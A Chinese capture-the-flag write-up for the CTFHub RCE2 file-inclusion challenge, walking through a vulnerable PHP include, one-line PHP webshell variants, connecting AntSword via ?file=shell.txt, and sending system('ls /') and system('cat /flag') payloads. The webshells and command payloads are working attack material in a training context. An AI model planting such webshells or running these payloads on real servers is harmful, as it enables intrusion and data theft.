RCE2-文件包含(一句话木马如何传参+如何用蚁剑连接一句话木马的文件位置)
一.题目链接:
https://www.ctfhub.com/#/skilltree
二.代码分析
<?php
error_reporting(0);
if (isset($_GET['file'])) { #判断是否通过get接收file参数,如果是通过file接收参数就执行第四行
if (!strpos($_GET["file"], "flag")) { #判断get中的file参数是否带有flag字段,如没有,则执行include包含文件。否则返回`hacker!`
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
三.基础知识
3.1 一句话木马中,REQUEST和POST的区别
- 区别:
1.REQUEST可以通过url传参,也可通过工具传参,但POST只能通过工具
2.eg:ctfhub=system("ls");,这里的ctfhub就是木马里的密码,systemctl()是可执行函数
四.开始解题
1.点击shell是一个一句话代码,于是想到用蚁剑连接

2.但这种访问文件的方法并不正确,联系到题目,是file=该文件试试看
这里解释一下为什么要用?fiel=shell.txt才能成功连接蚁剑,因为点击shell.txt文件我们直接就进文件里去了,而蚁剑的url要填的是地址,于是这里的地址就是这个
?file=shell.txt

3.成功,拿到flag


法二:
1.通过hackbar传参,我们已经找到了flag相关文件
这里为什么前面是ctfhub呢?这里顺便回顾一下之前的一句话木马都有哪些吧
<?php eval($_POST['cmd']);?>
<?=eval($_POST[1]);?>
<script language="php">eval($_POST[1]);</script>
//在这些一句话木马中,[]里的就是密码,就是ctfhub接受php代码并执行(eval是动态执行函数)
//而这里的一句话代码是:
<?php eval($_REQUEST['ctfhub']);?>
//通过ctfhub接受php代码并执行
ctfhub=system("ls")
#这个命令是为了列出所有根目录的文件
ctfhub=system("ls /");

2.通过system()函数读取该flag文件
//读取根目录下的flag文件内容
ctfhub=system("cat /flag");


浙公网安备 33010602011771号